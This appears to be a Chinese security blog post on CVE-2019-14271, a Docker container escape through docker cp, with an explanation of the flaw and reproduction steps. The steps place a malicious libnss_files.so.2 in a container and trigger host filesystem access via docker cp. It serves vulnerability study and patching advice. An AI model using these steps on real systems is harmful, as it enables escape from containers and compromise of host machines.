docker逃逸到宿主机(docker exec attach)

影响范围

Docker before 19.03.1

漏洞类型

容器逃逸漏洞

利用条件

影响范围应用

漏洞概述

正常情况下用户通过使用docker cp命令可以将文件从host主机拷贝至容器,或者从容器拷贝至host主机,对应具体操作指令如下:

docker cp {container_id}:/path /path

在将文件从host主机拷贝至容器的过程中Docker使用了一个辅助进程——docker-tar:

docker-tar通过chroot到容器将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中:

docker逃逸到宿主机(docker exec attach)

这里的chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题,如果访问的文件中有系统链接就会解析到host root,因此攻击者控制的容器就可以尝试和诱使docker cp在主机而非容器上读写文件,当docker-tar进程chroot到容器中时,造成了一个dokcer cp命令导致的容器逃逸漏洞

漏洞环境

这里使用Metarget来构建环境

./metarget cnv install cve-2019-14271

docker逃逸到宿主机(docker exec attach)

漏洞复现

Step 1:新建一个容器

sudo docker run -itd --name=14271 ubuntu bash

docker逃逸到宿主机(docker exec attach)

Step 2:将漏洞利用文件拷贝至容器内

#拷贝文件sudo docker cp exp/ 14271:/    #进入容器sudo docker exec -it 14271 bashls /expbreakout  libnss_files.so.2  original_libnss_files.so.2cp /exp/* /chmod 777 /breakouttouch /logs

docker逃逸到宿主机(docker exec attach)

Step 3:删除容器内原来的so库

rm /lib/x86_64-linux-gnu/libnss_files.so.2

docker逃逸到宿主机(docker exec attach)

Step 4:使用恶意so文件替换原先的so文件

mv /libnss_files.so.2 /lib/x86_64-linux-gnu/

Step 5:替换后退出容器,在宿主机上执行cp命令:

sudo docker cp 14271:/logs ./

进入容器内部可发现根目录下存在host_fs目录挂载了宿主机的文件系统,成功逃逸(笔者未找到对应的Docker版本故而失败,整个利用流程依旧不变~)

安全建议

升级到最新版本~

参考连接

https://github.com/moby/moby/pull/39612

https://github.com/moby/moby/issues/39449

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34098.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月4日 上午6:42
下一篇 2024年4月4日 上午6:44

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注